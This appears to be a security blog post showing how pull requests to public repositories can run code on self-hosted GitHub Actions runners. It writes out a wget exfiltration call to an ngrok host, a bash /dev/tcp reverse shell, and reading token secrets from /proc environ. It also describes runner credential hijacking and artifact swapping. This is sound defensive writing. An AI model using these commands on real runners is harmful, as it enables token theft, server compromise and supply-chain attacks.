Look mum, I’m the GitHub Runner
********************************************************************** ********************************************************************** ********************************************************************** ********************************************************************** *************************NX0kdollccccllodk0XN************************* ********************WNOdc;.. ...,cdONW******************** *****************WXkl,. .,lkX****************** ***************WKo,. .,oKW*************** *************WKo' .oKW************* ************Nx,. .,'.. ..',. 'xN************ ***********Xl. .dNNKko;...',;;;;;;,'...;okKNNd. .lK*********** **********K:. ,0*****WK0KXNWWWWWWNXK0KW*****0, .:K********** *********Xc. 'O****************************O' .cX********* ********Wo. ,0****************************0; .oN******** ********0, ;0W****************************W0;. ,0******** *******Wd. .kW*******************************O' .dW******* *******Nc ;K********************************X: cN******* *******X: ;K********************************X: :X******* *******Nc '0********************************0, cN******* *******Wo. .oN******************************Wo. .oW******* ********O' .xN****************************Wx. 'O******** ********Nl. .c0W************************W0l. .lN******** *********K; ';,. .:dOXNW**************WNXOd:. ;K********* *********W0, .,d0Ol. ..,:oK**********Xd:,.. ,0W********* **********W0;. .;ONO;. .oN**********No. .;0W********** ************Xl. 'kWNOdllokN************0, .oX************ *************WO:. .lOXNWWWWW************0, .:OW************* ***************NO:. ..,;;;lK************0, .ckN*************** *****************W0o;. ,0************0, .;d0W***************** ********************N0xc,..:K************K:..,cx0N******************** ************************NK0XW************WX0KN************************ ********************************************************************** ********************************************************************** ********************************************************************** **********************************************************************
Summary
In this article, I will explore the problems and dangers of using self-hosted GitHub runners in public repositories, as well as several attack vectors.
Introduction
The other day, I was looking for ideas for a different kind of challenge for a future CTF I was organizing when my colleague Mark Esler (@eslerm) pointed me to Messy poutine. It is a fun CTF-style GitHub organization that provides some vulnerable CI/CD jobs for which you need to collect some flags.
Go check their amazing talk on CI/CD 0-day analysis on OSS: Under the Radar: How we found 0-days in the Build Pipeline of OSS Packages
While taking a look at the last challenge, I researched a little bit more about runs-on: self-hosted
, which is not the most used runner when deploying CI/CD pipelines, thinking that the challenge may have something to do with this.
Fun fact: the actual challenge couldn’t be solved because the self-hosted container was not online but it pushed me to look forward
With this in mind, I forked the repo, raised a self-hosted runner and started playing.
Attack surface: pull request
The first thing I noticed is that the pipeline would trigger on a pull request.
Now, can I create a PR updating from self-hosted
to ubuntu-latest
and actually execute the pipeline on the original repo? And it worked. Wow.
From there, I read more about ACTIONS_RUNNER_DEBUG: true
and ACTIONS_STEP_DEBUG: true
which seemed like the intended solution but then it hit my mind: if it’s a pull request, why not update the pipeline itself?
I changed
- run: echo "Sorry, this level is not ready yet.... or is it?!"
to
- run: wget https://XXXXXXXX.ngrok-free.app/$FLAG
and… it worked (kinda). I received the request but FLAG was empty.
Wait, does that mean I can use the GitHub-runner token and use it to manipulate the repo?
jobs:
attempt:
runs-on: ubuntu-latest
timeout-minutes: 1
permissions:
id-token: write
contents: write
issues: write
env:
GH_TOKEN: $
steps:
- run: |
gh auth status
Run gh auth status
github.com
✓ Logged in to github.com account github-actions[bot] (GH_TOKEN)
- Active account: true
- Git operations protocol: https
- Token: ghs_************************************
As expected, this didn’t work. GitHub will indeed execute the pipeline but this will be dropped into a GitHub runner without any privileges. Trying to execute any gh
command or any GitHub API queries will result in 403. Also, any secrets are not passed to the pipeline.
Side note: the default configuration for a new repository is that any new contributors will require approval in order to run any external pipelines. Still, this can be disabled so everyone can run it (and I’m pretty sure there are repositories out there with it enabled)
At this point, I was no longer interested in the challenge but more in what could I do with this so I went back to playing with my own self-hosted runner.
Compromising the server
To set up a self-hosted runner, all you need to do is follow the steps pointed by GitHub:
- Download the compressed runner code.
- Configure against the repo with a token
- Run it
And it will start receiving jobs.
With this in mind, knowing the self-hosted runner will run any code I pass, my next attempt was (as anyone will do) to try to execute a shell.
steps:
- run: |
bash -i >& /dev/tcp/XXXXXX/4444 0>&1
Update the code, push again and… I got a reverse shell.
Listening on 0.0.0.0 4444
Connection received on XXXXXXX 48520
cicd@9a24bf4daf97:~/actions-runner/_work/cicd/cicd
Cool, I guess I’m an unprivileged user, right…? A quick id
showed that I was the same user as the one that set up the self-hosted runner.
Can I read stuff? Yes.
Can I edit stuff? Yes.
A regular shell, the same privileges as I had when I first enabled the runner.
Interesting enough, even if the original repository doesn’t have any workflows at all, this will still trigger as the newly created repos have the option of Allow all actions and reusable workflows
enabled by default.
Potential attacks
At this point, the damage is already done. You don’t own the server (as you are not root and the runner will prevent you from running as root) but you can do some pretty nasty stuff.
But now I want to explore potential vectors and attack surfaces.
Privilege escalation and server ownership
The default attack would be to attempt privilege escalation and try to own the server. Default privesc, I didn’t find any extra interest in this as it falls outside of the point of this experiment.
Token hijacking
Once you control the runner, you can see every other job being executed.
As we already discussed, the token provided by GitHub won’t have any privileges in our PR pipeline, but all we need to do is wait for another job from an actual contributor to run on the runner.
We can wait for a work to happen and then we would be able to leak all the secrets used in the job, including the GitHub token, since we can access the environment and final script being run.
$ ps aux | grep _work
cicd 3752 0.0 0.0 4368 2944 pts/0 S+ 12:56 0:00 /usr/bin/bash -e /home/cicd/actions-runner/_work/_temp/XXXXXX.sh
$ cat /proc/3752/environ
GITHUB_TOKEN=ghs_XXXXXXXXXXXXXXXX
GITHUB_JOB=test
GITHUB_REF=refs/heads/master
GITHUB_SHA=XXXXXX
GITHUB_REPOSITORY=XXXXX/XXXX
GITHUB_REPOSITORY_OWNER=XXXXXXX
GITHUB_REPOSITORY_OWNER_ID=XXXXXX
GITHUB_RUN_ID=XXXXXX
GITHUB_RUN_NUMBER=1
GITHUB_RETENTION_DAYS=90
GITHUB_RUN_ATTEMPT=2
...
With the right permissions, this will mean we could modify the repository content.
Runner hijacking
Maybe the environment is a little restricted. Maybe we cannot run or do what we would like to do.
No worries, just replace the runner! Since we have the same account as the runner, we can read the configuration files deployed during the auth step: .runner
, .credentials
and .credentials.
All we need to do is deploy the runner code in our own server, prepare the files with the same contents, disable the original runner (since we can stop the processes) and then run our own. Even a small network issue that may disconnect the runner may be used to our advantage since our runner will jump right in and the other one won’t be able to reconnect as we already have a session active. The original runner script won’t fail though, repeatedly trying to reconnect.
-rw-rw-r-- 1 cicd cicd 266 May 1 11:52 .credentials
-rw------- 1 cicd cicd 1667 May 1 11:51 .credentials_rsaparams
-rw-rw-r-- 1 cicd cicd 0 May 1 11:51 .env
-rw-rw-r-- 1 cicd cicd 99 May 1 11:52 .path
-rw-rw-r-- 1 cicd cicd 292 May 1 11:52 .runner
The change will happen instantly and transparently, and now we are the runner.
Supply chain attack
The coolest trick would be to go fully unnoticed. We all know how destructive the xz backdoor attempt could have been.
If the GitHub repository holds a package that is distributed from the pipelines, we can use this to our advantage.
All we need to do is prepare our malicious artifact and once the pipeline is triggered in the server, replace the crafted artifact with our own and it will be uploaded to the public repo without anyone noticing.
If we don’t have full control of the server, all we need to do is combine this with the previous attack and we will be ready!
This is extremely dangerous since everything will look perfectly fine from the pipeline side, logs won’t show anything different from any other run and there won’t be any proof of anything happening on the repo or the runner (unless the runner is monitored and hardened, but again, we can default to the previous attack)
Final thoughts
What I have explored in this analysis is something that GitHub already warns in their documentation
We recommend that you only use self-hosted runners with private repositories. This is because forks of your public repository can potentially run dangerous code on your self-hosted runner machine by creating a pull request that executes the code in a workflow.
Hopefully, this blog post makes you think twice before enabling a self-hosted runner in your public repository.